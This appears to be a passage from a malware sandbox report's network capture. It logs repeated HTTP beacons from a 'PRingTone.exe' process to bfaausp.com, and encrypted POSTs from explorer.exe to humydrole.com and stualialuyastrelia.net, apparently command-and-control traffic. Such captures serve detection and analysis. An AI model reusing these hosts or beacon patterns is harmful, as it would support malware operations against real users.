131	192.168.2.4	49903	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:55.256504059 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:55.536065102 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	49905	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:55.940438032 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:56.220587015 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	49907	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:56.634031057 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:56.907350063 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	49908	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:57.390937090 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:57.672749996 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	49909	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:58.106106997 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:58.399418116 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	49910	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:58.820914030 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:59.094168901 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	49912	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:24:59.543606997 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:24:59.823556900 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:24:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.4	49913	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:00.217837095 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:00.496685028 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.4	49914	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:01.118953943 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:01.398972988 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
140	192.168.2.4	49915	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:03.191356897 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:03.471514940 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49916	190.224.203.37	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:03.420818090 CET	287	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tlcofynwjmbpkvmn.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 361 Host: humydrole.com
Dec 19, 2023 03:25:03.420834064 CET	361	OUT	Data Raw: 3b 6e 23 13 80 bb 69 24 aa af c1 05 05 72 09 ba 0d 0d ce e4 62 01 e5 16 7e 7f 7c e6 37 b1 c5 6e 99 29 cf 5b 05 6b 26 1b 9c 99 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 1b 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 4c 1e e5 f8 Data Ascii: ;n#i$rb~\|7n)[k&? 9Yt M@NA .[k,vuL]zRjbBU@qi(fXK-P\|2i]k\|-n{UR0zk6D^y6]BgbWFz
Dec 19, 2023 03:25:04.584580898 CET	252	IN	HTTP/1.0 404 Not Found Date: Tue, 19 Dec 2023 02:25:03 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/7.4.15 X-Powered-By: PHP/7.4.15 Content-Length: 7 Connection: close Content-Type: text/html; charset=utf-8 Data Raw: 03 00 00 00 72 e8 84 Data Ascii: r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49917	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:04.274743080 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:04.553423882 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49918	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:04.962287903 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:05.244492054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49919	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:05.675982952 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:05.949774981 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49920	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:06.414864063 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:06.693530083 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49922	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:07.101054907 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:07.379333019 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49923	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:07.787867069 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:08.063344955 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49924	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:08.479785919 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:08.758796930 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49925	91.215.85.17	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:08.553325891 CET	281	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dngkgnagyuglda.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 109 Host: stualialuyastrelia.net
Dec 19, 2023 03:25:08.553360939 CET	109	OUT	Data Raw: 48 9d f8 c9 40 14 55 20 5a 76 51 2f 78 da 53 bb 20 6e ed 14 f8 1d aa a8 c1 61 a2 80 01 ff d5 91 88 a9 81 c4 77 37 e3 c0 d1 5b 6a 7e 83 8a fc 12 f0 5f 3d 01 00 86 3b 7d ef 83 66 87 fe 3d be f5 42 21 9b c6 a1 19 bb 8a 14 62 cc d6 4f 96 f3 f2 4e fd Data Ascii: H@U ZvQ/xS naw7[j~_=;}f=B!bONfy&5c50
Dec 19, 2023 03:25:08.846183062 CET	194	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Tue, 19 Dec 2023 02:25:08 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 03 00 00 00 1f 3d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 7=[0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	49926	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:09.152232885 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:09.433516979 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.4	49927	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:09.832768917 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:10.107125044 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.4	49928	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:10.521995068 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:10.801882029 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.4	49929	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:11.238873959 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:11.517699957 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.4	49931	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:11.934190989 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:12.212856054 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.4	49932	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:12.660953999 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:12.934552908 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.4	49933	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:13.341378927 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Dec 19, 2023 03:25:13.619172096 CET	220	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 19 Dec 2023 02:25:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/7.4.33 Data Raw: 65 0d 0a 64 65 32 66 66 34 39 61 32 65 31 31 33 37 0d 0a 30 0d 0a 0d 0a Data Ascii: ede2ff49a2e11370

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.4	49934	185.196.8.22	80	4600	C:\Program Files (x86)\PRingTone\PRingTone.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2023 03:25:14.026415110 CET	303	OUT	GET /click/?counter=de7ef49b2c006853fb383e293402a01561ac1905c311578eaae3c7edb62cde24353e1d9a943e9d15038842945eea4ae9a4a21bca13c034069638dc1a959a2220724aa021206497c02320899f8f71035f8edc06fb18cbdb5ab025 HTTP/1.1 Host: bfaausp.com User-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
